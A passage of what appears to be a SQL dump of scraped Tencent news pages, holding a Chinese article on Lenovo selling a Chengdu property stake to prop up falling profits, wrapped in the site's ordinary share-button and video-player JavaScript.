})();\n}\n</script>\n<style>.absolute{position:absolute;}</style>\n<!--[if !IE]>|xGv00|2aa1984c50ef83d09fb459ec2203d70e<![endif]--> \n<script type=\"text/javascript\">\n/*分享_微信好友_二维码*/\n(function(){\n var _id = document.getElementById(\"shareWx\"),_wxBox = document.getElementById(\"wxBox\");\n _id.onmouseover = function(){\n Request();\n _wxBox.style.display = \"block\";\n };\n _id.onmouseout = function(){\n _wxBox.style.display = \"none\";\n };\n function loadScript(sUrl){\n var _script = document.createElement(\'script\');\n _script.setAttribute(\'type\', \'text/javascript\');\n _script.setAttribute(\'src\', sUrl);\n document.getElementsByTagName(\'head\')[0].appendChild(_script);\n };\n function Request(){\n loadScript(\'http://news.open.qq.com/qrcode/gen.php?url=\'+ARTICLE_INFO.article_url+\'&callback=wxhyJsonpCallback\'); \n };\n window.wxhyJsonpCallback = function(data){ \n _wxBox.getElementsByTagName(\"img\")[0].src = data.url; \n };\n})();\n</script>\n<!--[if !IE]>|xGv00|d5d30152945c22e69001c0c7ad35f2a3<![endif]-->\n<!--[if !IE]>|xGv00|d0b6d414c9ca328c624994b991aab389<![endif]-->\n\n</div>', '2017-03-03 02:04:13', '2017-03-03 02:04:13'); INSERT INTO `post` VALUES ('17', '联想十六亿再卖楼 经验来看:卖楼确实能提亮财报', 'http://img1.gtimg.com/tech/pics/hv1/101/153/2190/142443866.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"联想十六亿再卖楼 经验来看:卖楼确实能提亮财报\" src=\"http://img1.gtimg.com/tech/pics/hv1/101/153/2190/142443866.jpg\"></p><p>新京报讯 (记者刘素宏 实习生杨砺)3月2日,<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;00992&quot;,&quot;100&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/hk/ggcx/00992.htm\" target=\"_blank\"><!--/keyword-->联想集团<!--keyword--></a></span><!--/keyword-->公告称,旗下全资附属公司联想(北京)有限公司已与北京融创融科地产有限公司订立了一份股权转让协议,将以约人民币16.17亿元的价格向后者出售成都联创融锦投资有限责任公司49%股权。公告透露,成都联创融锦及其子公司主要从事住宅和商业地产开发业务。</p><p><strong>2016财年第三季度净利同比降67.3%</strong></p><p>联想集团称,此次出售所得收益,将为联想的营运及投资提供一般营运资金,并推动公司的长远竞争力及盈利增长。</p><p align=\"center\"><img alt=\"联想十六亿再卖楼 经验来看:卖楼确实能提亮财报\" src=\"http://img1.gtimg.com/tech/pics/hv1/84/153/2190/142443849.jpg\"></p><p>值得注意的是,近一年来,联想系多次出售地产。2016年9月18日,联想控股曾向融创中国出售旗下41家地产公司股权,标价138亿人民币。9月30日,联想控股发布公告称,全资附属公司联想(北京)与北京市海淀区国有资本经营管理中心签订股份转让协议,拟以17.8亿元出售联创瑞业(北京)资产管理全部股权,其主要资产为北京联想研究院大厦。</p><p>而此次买房的北京融创融科地产有限公司的母公司融创中国近期战略投资了乐视网。它在主营的房地产领域也频频出手,3月1日宣布收购融科智地合肥融科城及武汉融科天域两个项目权益,成为这两个项目的全资拥有人。</p><p>与联想系频频出售房产相伴随的是营收下滑以及裁员。</p><p>联想集团2月16日发布公告称,截至去年12月31日,公司2016财年第三季度总营收121.69亿美元,同比下跌6%,第三季度净利润0.98亿美元,同比下跌67.3%。前三季度总营收比去年同样降低6%,减少了约23.23亿美元。</p><p>从2015年开始,联想已经在大幅裁员,业内分析认为联想在通过削减员工福利成本来增加利润。财报显示,2016年第二季度联想的员工福利成本减少了7600万美元,约占当期净利润的四成。</p><p><strong>“房地产不再是投资战略重点”</strong></p><p>而从以往财报来看,卖楼确实对联想财报有提亮作用。</p><p>去年8月18日,联想发布了截至6月30日的第一财季财报。此前联想下大力气抓的手机业务依旧亏损,不过,得益于一次性资产出售,公司净利润同比增长近2/3。第一财季联想净利润为1.73亿美元,同比增长64%。其中联想出售北京办公楼所得收益为1.32亿美元。外媒分析认为,联想已开始出售非核心资产。</p><p>独立IT分析师李成东认为,联想此举首先是出于财务上考虑,为了利润考虑。其次,由于联想拥有众多房地产资产,出售一部分资产回笼资金,说明房地产不再是其投资战略的重点。</p><p>独立IT分析师唐欣认为,联想的PC、手机等消费电器业务,不是需要很大现金流的业务。因此,这一次出售房产更多是基于对房地产市场的判断,属于优化投资组合的行为。</p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 .rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 .rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"40001\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div id=\'sports_video_Vip\'></div>\",r=\"<div id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void 